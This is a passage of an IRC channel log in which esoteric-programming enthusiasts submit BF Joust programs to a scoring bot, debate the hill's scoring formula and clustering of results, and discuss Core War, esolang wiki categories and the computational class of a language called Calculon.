strategy, regardless of where those fall in a game. I think. 03:03:05 s/a reader/a newbie reader/ 03:04:07 -!- nik340 has joined. 03:04:40 -!- nik340 has left (?). 03:10:01 Gregor: nah dog. that's disorganized. they should be arranged in order of complexity, sure, but we can subdivide and still have them arranged that way in each section 03:10:27 Hmm hmm hmm. 03:10:32 so a noob can read the first part in each section and instantly put together a warrior 03:10:50 and then read down further in each section to make it better 03:11:06 I'm wondering how confusing it would be to order it end game, middle game, beginning. 03:11:15 Since the end game is what newbies will understand the best. 03:11:29 that's fine too 03:11:35 go fer it 03:11:46 Why do I have to go fer it, it was your idea X-P 03:12:09 i'm on my phone and about to shower. maybe later. 03:15:11 -!- Herobrine has joined. 03:20:38 herro, brine! 03:20:59 Mmmmm, sugar-acid-water. 03:21:12 mmmmm pickles 03:26:57 The news crew feels the heat wave from the magic balloon. Levies from liquid petroleum fire sumo are hotter than mashed potatoes, making them much hotter than boiling lava, making them very stupid. 03:44:49 where did that come from? 03:45:54 I have a weird imagination. Except for fantasies, my internal stories are never set in the real world 03:46:38 become a novelist 03:46:49 quintopia: A YouTube Poop :P 03:47:01 The central character (me most of the time) would be too Mary Suish 03:47:05 Part of the series which collectively is the canonical YouTube Poop 03:47:43 never heard of it 03:48:05 >: ) 03:48:24 I'm the first to fight God in one of them, and lead a virtual army in another 03:48:40 ah 03:48:46 write fanfic 03:49:01 lol 03:49:15 quintopia: Step one, watch source material: http://www.youtube.com/watch?v=bNpLXo55yfw , http://www.youtube.com/watch?v=9mHw5g55oC4 , http://www.youtube.com/watch?v=-Dv_DXqdC9k (there's TONS more source material, but these are the important ones) 03:49:34 quintopia: Step two, BEHOLD WHAT IS DONE WITH IT: http://www.youtube.com/watch?v=Kq_mk9QisP0 03:58:54 -!- poiuy_qwert has joined. 04:00:31 gregor: WTF 04:01:28 8-D 04:01:35 * Gregor wonders which part quintopia is to and so wtfing at :P 04:01:45 the whole thing 04:02:16 you know what they say..........about.......its wtfness levels............................. 04:02:25 IT IS SO GOOD 04:02:40 OVER NINE THOUSAND toasters for YOU, who above all desire toast! 04:03:33 The source is WTF enough 04:03:51 But the source is a legit (well, legitish) commercial game :P 04:03:56 (Three, actually) 04:04:57 by legitish, you mean BADLY ANIMATED 04:05:05 By legitish I mean sold :P 04:05:11 But the animation and voice acting are abominably bad. 04:05:15 Which of course is why they use it :P 04:06:12 I WANT TOAST 04:06:20 ^^not aquote 04:15:42 hmmmm 04:18:55 i think (-.)*256.(-..)*256[-..] on the flag is p much guaranteed to beat it. 04:26:08 !bfjoust braindead_rush10_w_quintopia_clear(>)*9(-.)*256.(-..)*256[-..] 04:26:08 Use: !bfjoust . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/ 04:26:13 !bfjoust braindead_rush10_w_quintopia_clear (>)*9(-.)*256.(-..)*256[-..] 04:26:23 Score for Sgeo_braindead_rush10_w_quintopia_clear: 0.6 04:26:42 That's just sad 04:26:56 I win against julius freezer on length 10 04:27:03 Why am I not surprised? 04:27:22 FREAKING SPACE ELEVATOR 04:27:26 Sgeo_braindead_rush10_w_quintopia_clear.bfjoust vs ais523_speedy2.bfjoust: 04:27:27 >>>>>>>>>>X>>XXX>>>XX >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>X>>XXX>>>XX 04:27:27 ais523_speedy2.bfjoust wins 04:27:36 Those are some really weird ties 04:32:17 -!- copumpkin has joined. 04:32:22 sgeo 04:32:27 i miswrote it 04:32:54 the final clear should be [[-..]] 04:33:04 to take out shudder just in case 04:33:17 !bfjoust braindead_rush10_w_quintopia_clear2 (>)*9(-.)*256.(-..)*256[[-..]] 04:33:27 Score for Sgeo_braindead_rush10_w_quintopia_clear2: 0.7 04:33:32 lol 04:33:46 That is perfect 04:35:20 it won on all length 10 tapes? 04:36:28 No 04:36:43 which ones beat it? 04:36:48 As in, I find it oddly appropriate that that minor improvement boosted exactly 0.1 points 04:37:09 elliott_snorlax beat it on length 10 04:37:13 Tieed on length 30 04:37:19 hrm 04:37:29 Read breakdown.txt 04:37:40 Wait 04:37:46 I was looking at the wrong tab 04:38:03 What I said stands 04:38:17 -!- Sgeo_ has joined. 04:38:34 I did seem to win a lot of length 10 tapes 04:38:51 yeah, seems like it 04:38:52 !bfjoust aspartame_philip http://sprunge.us/SjZO 04:39:01 Score for Gregor_aspartame_philip: 31.3 04:39:05 -!- Sgeo_ has quit (Client Quit). 04:39:09 lawl 04:39:18 That was definitely worse than I anticipated :P 04:39:34 gregor: where does the name sugar philip come from 04:40:11 quintopia: I'm sure you can think up a plausible source :P 04:40:30 !bfjoust aspartame_philip http://sprunge.us/ZBVV 04:40:37 Score for Gregor_aspartame_philip: 30.6 04:40:43 !bfjoust aspartame_philip < 04:40:51 Will have to try my luck again tomorrow. 04:41:05 Score for Gregor_aspartame_philip: 0.0 04:41:20 Gregor likes filling up on sugary drinks of his own invention. 04:44:31 gregor: a flaw in the current scoring scheme is that a program that just barely loses to another program cannot get any more points by that fact than one that is completely demolished 04:45:24 Should winning a majority, but not all, tape lengths be allowed to be a valid strategy? 04:45:42 That was intended as an argument against what quintopia was saying, but it turned into an argument for 04:46:14 the answer is, of course, yes 04:46:23 :) 04:47:15 therefore, quintopia is self loathing. Q.E.D. 04:48:19 it should be a valid strategy, but close matches should give some benefit to the loser who nearly pulled it out eh? 04:49:18 What I'm saying is your scheme would punish those "half of the tape lengths" programs. Which I think could be a good thing 04:51:59 not punish....they already don't get as much benefit for winning under the current system 04:52:12 Ah 04:53:21 quintopia: Yeah, but a program that barely wins gets virtually no score from that, so it's continuous. 04:54:55 Gregor: continuous would be assigning 1 point per match and distributing it according to win/loss record. it's very discontinuous now 04:55:46 quintopia: It IS one point per match, and it IS distributed per win/loss record. If your overall score against an opponent is 1, you get 1/84 * their points. 04:55:47 well maybe not 04:56:01 s/overall score/joust points/ 04:56:13 ah okay 04:56:45 i forgot that you did wins-losses for the winner and that that normalizes it 04:58:53 I really think the current system is pretty good, I simply don't like that it isn't fixed-point :P 04:59:45 it is quite good 04:59:52 just hard to understand 05:00:16 I find it easy to understand X-P 05:00:45 i understand now why there is no penalty for losing 05:02:09 that would discourage tweaking programs so that they lose less often, because it would drive down the scores of the opponents that beat them, lowering their worth, and thereby offsetting as much value as the tweak created 05:15:54 -!- asiekierka has joined. 05:28:48 -!- nik340 has joined. 05:29:11 -!- nik340 has left (?). 05:43:41 Bah, -21 degrees Celsius (-6 °F) outside. Where's my global warming now, huh? Maybe I'll just not get out of bed. 05:48:08 -!- impomatic has joined. 05:54:40 hello impomatic 05:54:46 Hi :-) 05:55:06 !bfjoust moonbeam http://corewar.co.uk/2.txt 05:55:15 Score for impomatic_moonbeam: 26.0 05:55:22 -!- asiekierka has quit (Ping timeout: 272 seconds). 05:56:34 -!- sftp has quit (Remote host closed the connection). 05:56:48 impomatic, o.O at you controlling Core Wars? 05:58:58 Sgeo: only corewar.co.uk but I have a top secret evil plan that involves taking over the others! 05:59:16 What's the official site? That site, or some other site? 05:59:20 Or is there no official site? 06:02:02 !bfjoust space_elevator http://sprunge.us/Xjif 06:02:25 No official site. The main sites are http://corewar.co.uk http://corewar.info http://koth.org http://users.obs.carnegiescience.edu/birk/COREWAR/koenigstuhl.html and http://sal.math.ualberta.ca 06:02:44 Score for quintopia_space_elevator: 63.1 06:02:58 hmm. that's a surprisingly big jump for such a small change 06:03:12 !bfjoust changelink http://corewar.co.uk/2.txt 06:03:34 Is pMARS more up to date than CoreWin? 06:03:39 Score for impomatic_changelink: 23.8 06:03:55 impomatic: neon_glow is caput! 06:04:39 Quintopia: nice score :-) Neon_glow isn't anything special. I'm surprised it survived so long. 06:05:41 Sgeo: the only real difference is CoreWin has a GUI and tournament scheduler built in. 06:06:00 impomatic: don't you wish we had bf melee? with a circular tape and all the warriors fighting at once? 06:06:57 quintopia: might be fun. No more worries about falling off the tape :-) 06:07:47 instead you have to worry about the other warriors coming from each direction, and the fact that you have to get farther and farther away from your flag as the battle goes on (if you're rushing) 06:09:07 It'd be possible to defend a cell on each side of your flag 06:11:36 seems unlikely but you've just given me an idea >_> 06:11:51 (for bf joust) 06:14:02 :-) 06:14:38 I wonder if it's the same idea I've just had? :-P 06:15:38 i can't actually see how to flesh out my idea at the moment 06:17:30 i thought it might be possible to get a 3-cycle clear stuck on one decoy and a 2-cycle clear stuck on your flag by picking its size just right, and bumping both because you can't tell which one it is on. 06:17:43 however, it involves deducing the offset size probably 06:17:47 what is your idea? 06:18:28 Not the same... just defending two cells, one with + the other with - 06:20:26 !bfjoust zapdos http://corewar.co.uk/2.txt 06:20:38 Score for impomatic_zapdos: 20.1 06:21:55 that looks like it's still defending the flag 06:22:18 !bfjoust mewtwo http://corewar.co.uk/2.txt 06:22:28 Should be the cell after the flag 06:22:33 oh 06:22:38 Score for impomatic_mewtwo: 19.1 06:22:44 either way, it's only defending one cell, yes? 06:22:53 and doing so without any control flow? 06:23:12 I haven't tried the two cell thing yet... Just trying some other simple ideas (which ais523 probably already tried) 06:23:21 No control flow :-) 06:25:04 did you see definder? 06:27:36 Not yet. I try not to look at how other stuff works 06:28:05 !bfjoust venusaur http://corewar.co.uk/2.txt 06:28:19 Score for impomatic_venusaur: 21.2 06:29:22 you must love pokemanz 06:29:57 Not really. I'm stuck for names! 06:31:19 why don't you look at what other people do? 06:35:12 Because once I've seen the code it'll affect what I write afterwards. I'll take a look when I run out of ideas :-) 06:36:39 huh 06:36:45 -!- nik340 has joined. 06:36:52 i can't see it affecting what you write in a *bad* way 06:36:56 it may even inspire you 06:37:29 it means you can't even use egojsout! man, you're missing out :/ 06:37:44 !bfjoust moonbeam (>)*8[>]([-]>)*22 06:37:52 -!- nik340 has left (?). 06:37:53 Score for impomatic_moonbeam: 7.9 06:39:35 !bfjoust moonbeam >(+)*8>(-)*7(>)*6(>+++[-])*21 06:39:47 Score for impomatic_moonbeam: 8.7 06:39:55 !bfjoust moonbeam >(+)*8>(-)*7(>)*6(>+++[-][-])*21 06:40:28 Score for impomatic_moonbeam: 10.8 06:41:22 !bfjoust moonbeam >(+)*8>(-)*7(>)*6(>+++[-][---.])*21 06:41:31 Score for impomatic_moonbeam: 15.4 06:41:37 !bfjoust moonbeam >(+)*8>(-)*7(>)*6(>+++[-][+++.])*21 06:41:54 Score for impomatic_moonbeam: 14.8 06:43:40 !bfjoust moonbeam >(+)*8>(-)*7(>)*6(>+++[-][-.][-..][-...][-....])*21 06:44:01 Score for impomatic_moonbeam: 13.7 06:44:25 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]). 06:44:48 lol 06:50:44 -!- FireFly has joined. 07:40:31 Gregor: In the score computation, is there a deep, underlying reason why the worth of a program is (points+N)/(M*2) when points has the range [-M, M] thus giving 'worth' values in [1/(M*2), 1+1/(M*2)]? A naive person such as I would think either (points+M)/(M*2) (to get worths of [0, 1]) or (points+N)/(M+N) (to get [1/(M+N), 1]) would make more sense. 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:00:42 -!- Slereah has quit (Ping timeout: 240 seconds). 08:15:27 !bfjoust space_elevator http://sprunge.us/HHKX 08:15:48 -!- Slereah has joined. 08:18:08 Score for quintopia_space_elevator: 65.6 08:18:35 -!- GreaseMonkey has quit (Quit: The Other Game). 08:24:51 -!- pikhq_ has joined. 08:24:54 -!- pikhq has quit (Ping timeout: 260 seconds). 08:25:25 -!- cheater00 has quit (Ping timeout: 240 seconds). 08:27:05 -!- cheater00 has joined. 08:28:59 -!- pingveno has quit (Ping timeout: 260 seconds). 08:30:47 -!- pingveno has joined. 08:46:00 !bfjoust space_elevator http://sprunge.us/aaQF 08:46:13 Score for quintopia_space_elevator: 65.6 08:47:06 -!- poiuy_qwert has quit (Read error: Connection reset by peer). 08:48:45 -!- poiuy_qwert has joined. 08:52:19 !bfjoust space_elevator http://sprunge.us/ZBdK 08:52:28 Score for quintopia_space_elevator: 65.7 09:04:02 !bfjoust space_elevator http://sprunge.us/VcMe 09:04:29 Score for quintopia_space_elevator: 66.0 09:07:05 -!- poiuy_qwert has quit (Read error: Connection reset by peer). 09:08:41 -!- poiuy_qwert has joined. 09:17:05 meh. i can't see any way to beat saccharin_philip with this variation 09:17:52 the only way to beat is have more decoys, because it doesn't care how big they are, but the decoys it builds for itself are huge 09:27:04 -!- poiuy_qwert has quit (Read error: Connection reset by peer). 09:28:40 -!- poiuy_qwert has joined. 09:42:37 -!- Slereah has quit (Ping timeout: 272 seconds). 09:46:14 Dabbled a bit with results-getting, so here's the report.txt table (from an old hill) with red = '+', blue = '-', grey = '0', except it gives in-between shades where the duel points are not max/min/zero. 09:46:19 http://zem.fi/~fis/dpoints.png 09:47:04 -!- poiuy_qwert has quit (Read error: Connection reset by peer). 09:48:40 -!- poiuy_qwert has joined. 10:07:03 -!- poiuy_qwert has quit (Read error: Connection reset by peer). 10:08:43 -!- poiuy_qwert has joined. 10:27:02 -!- poiuy_qwert has quit (Read error: Connection reset by peer). 10:28:39 -!- poiuy_qwert has joined. 10:47:02 -!- poiuy_qwert has quit (Read error: Connection reset by peer). 10:48:42 -!- poiuy_qwert has joined. 10:49:47 -!- ais523 has joined. 11:07:01 -!- poiuy_qwert has quit (Read error: Connection reset by peer). 11:08:39 -!- poiuy_qwert has joined. 11:22:22 umm, http://www.reddit.com/r/programming/comments/fk80r/is_perl_really_a_joke_language/ 11:24:13 reddit are complaining that the joke languages list doesn't list, e.g., INTERCAL or Brainfuck 11:24:20 we should make the purpose of the list clearer 11:24:27 and, probably, remove Perl, which is only there as a joke 11:24:52 It already got removed 11:24:54 http://esolangs.org/w/index.php?title=Joke_language_list&diff=21130&oldid=20883 11:25:23 ais523: Here's a hierarchical-clustering-dendrogram thing computed using the pairwise distance function "sum of differences in duel results (+1, 0, -1) for all shared opponents": http://zem.fi/~fis/clust.png 11:25:36 yep 11:25:44 I should clarify the purpose of the page, though 11:26:41 -!- Herobrine has quit (Ping timeout: 245 seconds). 11:26:57 also, why is LOLCODE in that list? 11:27:00 -!- poiuy_qwert has quit (Read error: Connection reset by peer). 11:27:07 It seems to think that (quintopia_one_o_them_shudder_thangs, quintopia_good_vibrations) and (Gregor_julius_freezer, Deewiant_sloth) are two pairs of programs that are most similar to each other; while ais523_large_decoy_attack is the strangest. 11:27:08 it should be in the main one, much as everyone hates it 11:27:44 interesting that chainmail was lumped with defend10 rather than defend7 11:28:21 what determines the color scheme? 11:28:28 I have no idea at all. 11:28:36 -!- poiuy_qwert has joined. 11:29:56 "Colors all the descendent links below a cluster node k the same color if k is the first node below the cut threshold t. All links connecting nodes with distances greater than or equal to the threshold are colored blue." + default t of 0.7*max(distance). 11:31:03 So it's basically just a single threshold (of 0.7*max), and those multi-node clusters that are completely below it get their own color. 11:33:13 -!- poiuy_qwert has quit (Ping timeout: 250 seconds). 11:36:45 This was done using the nearest-point thing, where for clusters u, v we have d(u, v) = min_{i \in u, j \in v} d(x_i, x_j); it would probably look rather different for different distance measurements. 11:37:38 http://zem.fi/~fis/clust2.png -- averaged distances instead of min. 11:38:46 Still considers chainmail with defend10, but at least all defends (+ chainmail) are in a single cluster now. 11:39:04 question: TURKEY BOMB: esolang, or joke esolang> 11:39:20 I fear it's too underspecified to tell 11:39:41 I'll arbitrarily classify it as a joke 11:40:35 monorail with slowermonorail, too 11:44:19 heh, the two phillips are so close the line linking them disappears behind the axis 11:45:10 the clusters correspond to what I'd expect now, I think 11:45:21 More or less 11:45:25 we have defence programs in green, split into shudder-based and lock-based 11:45:30 I'm a bit surprised to see maglev next to wireless 11:45:39 But not very 11:45:49 although red also contains some nonstandard defence programs 11:46:07 cyan can be thought of as the category of "inconsistent attackers" 11:46:10 maglev's just so much faster that I'd expect it to differentiate more 11:46:27 then purple for more typical slow attackers 11:46:37 gold for turtles 11:46:46 I'm not entirely sure how to describe the black category, but it's a little small anyway 11:46:53 monorail is hardly slow IMO :-P 11:46:56 perhaps try on a more recent hill, where I think there's more programs that would fall into that category? 11:47:11 ais523: The two philips have, in fact, exactly identical results against all non-philips in this run. (Disclaimer: these have been processed by cranklance, which might have some bugs; and the hill is from 2011-02-12.) 11:47:17 Maybe I should fetch a new one. 11:47:50 haha, double_tripwire_avoider's in fifth place with a negative points total? 11:47:53 Fetch the one where pendolino wasn't ranked below any program it beat: I liked that one 11:48:13 also, looks like defend7 finally fell off the hill 11:49:07 I suspect impomatic's messing-around is to blame for i_like_turtles jumping up to third place 11:50:19 ais523: You think Text belongs under "languages which make it easy to write programs used as typical examples"? 11:50:27 After all, it's all about quines 11:50:43 perhaps, but it certainly belongs under the "unusable for programming" category 11:50:52 which is likely the largest category of jokes 11:50:54 Well, don't they all 11:51:00 HQ9+ is also unusable 11:53:23 yep 11:53:35 oerjan's HQ9+ variant is defined to be TC 11:53:54 but that's a joke in its own right, because being TC /by definition/ doesn't give you any clue in how to actually program in it 11:54:07 HQ9+B? :-P 11:55:14 http://zem.fi/~fis/clust3.png -- new hill. 11:55:52 The philips remain identical 11:57:27 I like that clustering algo 11:57:33 I think it's identifying strategies quite well 11:58:06 fizzie: Can you draw it rotated 90 degrees counterclockwise? Would make it easier to read :-P 11:58:21 Deewiant: Good point. 11:58:23 Or clockwise, whatever 12:02:12 http://zem.fi/~fis/clust4.png 12:02:21 The font size refuses to adjust for some reason. 12:02:22 Sweet, thanks 12:02:38 A bit of cutoff on the right edge, doesn't matter though 12:03:13 Yes, and the names are a bit crowded; I tried to set leaf_font_size, but it doesn't want to change for some reason. 12:03:26 ais523: Did you remove definder or did it fall off? 12:03:38 fell off 12:03:44 Darn 12:04:04 definder is basically definder2 before it was tweaked to beat turtles and defenders 12:04:17 Aye 12:04:19 and there are enough turtles and defenders on the hill that definder2 did much better 12:05:43 The philips aren't identical in report.txt, so it might be a cranklance issue. (Same goes for venusaur/changelink.) 12:08:26 I'm actually a little surprised at impomatic using Pokémon names for programs 12:09:13 -!- augur has quit (Remote host closed the connection). 12:12:57 -!- impomatic has joined. 12:13:44 Another esolang deleted from wikipedia http://en.wikipedia.org/wiki/Taxi_Programming_Language 12:15:23 ais523: You're not the only one. you must love pokemanz Not really. I'm stuck for names! 12:15:39 :-) 12:15:59 impomatic: that probably makes sense, Taxi is not massively notable, nor does it meet Wikipedia's standards for verifiability 12:16:07 That was a coincidentally timed /join. (Was up in the backscroll pasting that.) 12:16:12 -!- SimonRC has quit (Ping timeout: 255 seconds). 12:16:23 well, there were 493 Pokémon for ages, and a new batch have been added recently 12:16:35 but most of the new ones don't have English 12:16:46 -!- SimonRC has joined. 12:16:53 (I used to play Pokémon competitively, but the recent rule changes have meant I've lost track) 12:16:58 I was just reading about Joy, Factor, Alice, Pure, Einstein and other languages being up for deletion :-( 12:18:06 ais523: I used to play, but no-one to play with now... I still play MTG though :-) 12:18:28 -!- asiekierka has joined. 12:18:44 impomatic: which version? 12:19:26 I didn't know there are different versions! 12:20:02 oh, console game or card game? 12:20:14 I play the console game, which is rather different 12:20:25 (the card game has different versions too by now, though, trying to keep up with the console version) 12:34:59 -!- copumpkin has quit (Ping timeout: 246 seconds). 12:40:38 -!- augur has joined. 12:47:09 -!- augur has quit (Remote host closed the connection). 12:47:48 -!- augur has joined. 12:48:05 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]). 12:50:03 -!- poiuy_qwert has joined. 12:51:20 -!- azaq23 has joined. 12:51:40 -!- azaq23 has quit (Client Quit). 13:03:01 -!- Sgeo has quit (Ping timeout: 260 seconds). 13:06:20 -!- ais523_ has joined. 13:08:27 -!- poiuy_qwert has quit (Read error: Connection reset by peer). 13:10:06 -!- poiuy_qwert has joined. 13:10:10 Gregor: In the score computation, is there a deep, underlying reason why the worth of a program is (points+N)/(M*2) when points has the range [-M, M] thus giving 'worth' values in [1/(M*2), 1+1/(M*2)]? A naive person such as I would think either (points+M)/(M*2) (to get worths of [0, 1]) or (points+N)/(M+N) (to get [1/(M+N), 1]) would make more sense. // I just didn't want any zero-worth programs. 13:10:35 But now you get more-than-one worth. 13:10:51 You'd get "from small value to 1" with (points+N)/(M+N). 13:10:57 fizzie: If the program has more-than-one worth, by definition you're not getting those points. 13:11:36 Okay, there is that. 13:12:04 It is very friendly of you to not make anyone worthless. 13:12:47 This means that beating the lowest-ranked program isn't entirely valueless, and beating a program that beats everything EXCEPT for you gives you maximum bang for your buck. 13:14:40 -!- Mathnerd314 has quit (Ping timeout: 272 seconds). 13:17:19 Note however that this was adapted from the FYB hill scoring system, where you always either win or lose (no range), but I'm FAIRLY certain that all the edge cases are as I expected them to be: For instance, if you beat just enough configurations against the opponent that otherwise wins all other rounds with all other opponents, that competitor will have greater-than-one worth, but you still won't get more than 1 from it. 13:18:32 Nowait, I shouldn't think in the morning, it won't have greater than one worth X-P 13:22:09 Yes, I guess it works; if you beat more than a half of the otherwise-wins-everything program, it can't get a positive point contribution from the match against you. 13:23:06 In retrospect I'm pretty sure I carefully arranged it to behave this way, I wanted maximum worth from a program that beats everything but you, but non-zero worth from a program that loses to everything. 13:26:17 !bfjoust brian_doesnt_know_what_hes_doing >(+)*128<(-)*100000 13:26:56 I thought *100000 was bugged in egojoust? or did you fix that? 13:27:08 *-1 is "bugged" in egojoust 13:27:17 In that it does 10K instead of 100K. 13:28:14 Score for Gregor_brian_doesnt_know_what_hes_doing: 20.8 13:28:26 -!- poiuy_qwert has quit (Read error: Connection reset by peer). 13:28:30 what's with the fake flag there? 13:28:55 I didn't write this, I'm submitting it on behalf of a friend who I'm trying to cajole into playing :P 13:29:07 I guess he doesn't realize that setting something exactly to a flag isn't very valuable. 13:30:05 -!- poiuy_qwert has joined. 13:32:17 -!- MUILTFN has joined. 13:41:33 -!- sftp has joined. 13:48:26 -!- poiuy_qwert has quit (Read error: Connection reset by peer). 13:49:21 -!- MUILTFN has quit. 13:50:05 -!- poiuy_qwert has joined. 14:02:20 -!- poiuy_qwert has quit (Read error: Operation timed out). 14:10:04 -!- poiuy_qwert has joined. 14:17:05 -!- BeholdMyGlory has joined. 14:30:05 -!- poiuy_qwert has quit (Ping timeout: 264 seconds). 14:39:05 -!- Slereah has joined. 14:40:25 -!- Phantom_Hoover has joined. 14:43:39 Hello. 14:50:49 -!- Sgeo has joined. 14:56:19 I am beginning to believe that Core Wars is dead 14:56:46 -!- augur has quit (Ping timeout: 255 seconds). 14:56:58 It was hit by a core clear. 14:58:36 -!- augur has joined. 15:05:40 * Sgeo thwacks Phantom_Hoover with a DAT 0 0 15:05:58 DAT #0, #0, you fool! 15:06:31 DAT 0, 0 should work just as well 15:07:59 -!- augur has quit (Ping timeout: 272 seconds). 15:09:26 BF Joust is better than corewars :P 15:10:32 http://en.wikipedia.org/wiki/Chav 15:10:35 :D 15:10:41 -!- Phantom_Hoover has quit (Remote host closed the connection). 15:11:01 -!- augur has joined. 15:11:09 -!- Slereah has quit (Ping timeout: 240 seconds). 15:15:54 -!- MigoMipo has joined. 15:16:15 -!- Slereah has joined. 15:22:52 hmm, putting address format modifiers on DAT potentially makes sense 15:22:57 in case the DAT gets overwritten 15:31:43 (BF Joust is still better) 15:39:10 Can you overwrite just the command part without overwriting A and B? 15:40:36 I think so, although I'm not sure 15:40:47 I'm far from a Core Wars expert 15:41:22 BF Joust has a lower barrier to entry, though, which is definitely an improvement 16:10:43 -!- augur has quit (Remote host closed the connection). 16:21:35 -!- augur has joined. 16:22:19 -!- Grulf has joined. 16:23:03 hiya :D 16:23:20 oh noes, wheres oerjan 16:23:24 my hero 16:23:26 D: 16:23:51 i find it quite funny to write an article and ~9 months later google it just to find an irc log of people talking about it 16:23:55 and thats why im here. 16:23:56 he turns up every now and then 16:23:58 hell yeah. 16:24:06 also, which article? 16:24:16 reading old logs is a common pastime here, perhaps we'll discuss it again sometime 16:24:28 http://www.esolangs.org/w/index.php?title=Calculon some crappy experiment :P 16:25:13 http://webcache.googleusercontent.com/search?q=cache:VoAfPEO6xmUJ:codu.org/projects/trac/esotericlogs/changeset/87%253A876d6344dfac+calculon+esolang&cd=2&hl=de&ct=clnk&gl=de&client=firefox-a&source=www.google.de heres the log 16:25:19 hmm, I should probably put that in categories 16:25:43 and is that a Google cache of an hg repo entry? that's a nicely roundabout way to get to it 16:26:01 hey, what happened to Herobrine? 16:26:11 (we have two logbots, clog and Herobrine; one of them seems down at the moment) 16:26:50 let's see... Calculon looks like a push-down automaton 16:27:19 unless it allows bignums for numbers, in which case it's Turing-complete by simulating a Minsky machine 16:27:39 im not sure i understand :P 16:27:40 actually, hmm, maybe not 16:27:51 the interpreter written in ruby should do that though 16:27:53 Grulf: some languages are more powerful than others, in terms of what you can theoretically write in them 16:28:01 hmm. 16:28:02 and there are a few standard classes of langauges 16:28:06 *languages 16:28:28 what does division do if the result isn't an integer? 16:28:36 just store it as floating-point? 16:28:39 i dont remember 16:28:43 i bet it crashes though 16:28:45 :D 16:29:10 i thought about making a little game with a language similar to that 16:29:21 I can't figure out if that language is push-down, Turing complete, or uncomputable 16:29:33 i could look for the source 16:29:38 i bet its somewhere 16:29:46 I fear it might be simultaneously uncomputable and sub-TC, which would be kind-of impressive 16:30:00 although sqrt might not be enough to make equality undecidable 16:30:22 source would be nice 16:30:29 the lang needs categorising, too, I'll do that 16:30:36 thanks :p 16:30:49 postfix notation is the easiest 16:31:15 id like to write a parser that uses normal one, but that seems really complicated 16:31:21 what year did you first publically release details about the lang? 16:31:25 with that Esolang article? 16:31:47 ill know when i look at the date of the source file, but i think i wrote it right after that :P 16:32:04 well, privately working on something doesn't count because it's too hard to tell 16:32:11 so it looks like 2010 16:32:27 oh, what year 16:32:33 yep definately :P 16:33:38 http://pastebin.com/CPSJykX0 D: 16:33:40 and listed now; I hadn't seen it earlier because it wasn't on the list 16:34:18 that doesn't look much like Ruby... 16:34:24 i redid it in c++ 16:34:24 in fact, it looks suspiciously like C++ 16:34:31 ah 16:34:33 but somethings wrong, it look incomplete 16:34:49 maybe i was too stupid to do the conditions stuff in c++ 16:34:53 well, with double-precision floats, it's definitely just a push-down automaton 16:35:17 ah no, cond is hardcoded 16:35:27 http://www.esolangs.org/wiki/Push-down_automaton for an explanation 16:36:58 -!- Sgeo has quit (Read error: Connection reset by peer). 16:37:01 "By the same token, there are certain strings which push-down automata are incapable of recognizing, such as anbncn (that is, a number of a's, followed by the same number of b's followed by the same number of c's.) " huh? what does that mean? 16:37:34 say you have a language with input, like Calculon 16:37:38 -!- Sgeo has joined. 16:37:49 (Calculon takes only numbers as input, so we'll use 1, 2, 3 rather than a, b, c) 16:38:18 now, you want to write a Calculon program which produces different output from an input that consists of n 1s, then n 2s, then n 3s, from anything else 16:38:39 you can't do it, because eventually your double-precision floating point values will run out of precision and be unable to count accurately 16:39:04 (that is, for sufficiently high floating point numbers x, x+1 == x because it's a change too small to fit into the mantissa bits) 16:40:35 why would precision problems only go for pdas? 16:40:43 i dont quite get it :/ 16:41:21 I mean, the precision problem is why you can't just store a counter that counts the number of 1s/2s/3s 16:41:24 and compare to see if they're equal 16:41:37 because if you have sufficiently many of them, the counter won't quite be able to tell if they're equal or not 16:42:16 ". BF Joust seemed like it might be a more accessible version of Core Wars, but I see it's much too susceptible to stupid tricks, and there's only one winning strategy (set decoys, race to the right side of the map, methodically zero every cell in order from left to right). The only variation comes in modifying that strategy." 16:42:40 http://www.retroprogramming.com/2009/02/bf-joust-hill.html 16:42:50 if you had bignums, you could do that, although Calculon doesn't have a swap-top-two-stack-elements instruction, nor an obvious way to do modulo, so it'd be interesting to figure out what the computational class of bignum Calculon would be (and likewise, if it's restricted to integers) 16:43:00 Sgeo: that was BF Joust 1, which was indeed mostly broken like that 16:43:21 although there are nonetheless a few tricks that can be accomplished in it 16:43:46 the more recent BF Joust specifications avoid those issues 16:45:27 hmm 16:45:27 -!- asiekierka has quit (Ping timeout: 246 seconds). 16:46:35 java has bignums \o/ 16:46:36 | 16:46:36 >\ 16:47:24 most langs do 16:47:27 although generally not by default 16:47:40 in C and C++, you need a library to provide bignums (GMP is a common choice) 16:48:58 im afraid of installing libraries :P 16:49:08 well also i wanna learn java 16:49:40 Java's mostly about the libraries, really; but most of the important ones come with the interpreter 16:54:11 i thought about making a game with robots on a grid 16:54:13 D: 16:54:22 each robot executes his program and does stuff 16:54:31 what the stuff is about i am still not quite too sure 16:54:45 but he might shoot lasers and collect metal. 16:55:37 any suggestions? 16:56:20 there have been a few games like that in the past 16:56:32 I'd suggest asking impomatic, who's an expert on that sort of thing 16:56:36 but he doesn't seem to be here at the moment 16:56:53 hmm :D 16:57:01 -!- iamcal has quit. 16:57:33 i think i know how to do it, just need a few more ideas to make it worth playing around with it a bit 16:58:33 I'm going to change connection, I'll be back in a bit 16:58:39 kkay 16:58:39 -!- ais523_ has quit (Quit: Page closed). 17:02:09 back 17:03:30 -!- Sgeo has quit (Ping timeout: 240 seconds). 17:12:04 wb :D 17:13:31 -!- pikhq has joined. 17:13:57 -!- pikhq_ has quit (Ping timeout: 272 seconds). 17:15:20 -!- zzo38 has joined. 17:18:50 DVI format for printed pages is not bad. Why is it not commonly used? 17:20:05 I think because DVI readers aren't generally installed on Windows 17:20:08 whereas PDF readers are common 17:20:36 Microsoft tried to invent their own format as a rival to PDF, and it didn't catch on, likely for the same reason (most people couldn't use it) 17:22:20 I made a version of egojsout that displays an animation of the progress of the tape cells instead of the cycle-by-cycle breakdown. 17:22:22 Pretty pointless. 17:22:41 could be fun to watch, though 17:22:49 especially if you color the cells by value 17:22:58 There is program convert DVI to PCL. When printing stuff at FreeGeek, that is what I use. 17:23:12 have 128/-128 as white, 0 as black, positive numbers in between as shades of red, negative numbers in between as shades of blue 17:23:15 so as to form a continuous cycle 17:23:39 ais523: Roughly that turned out not to be so 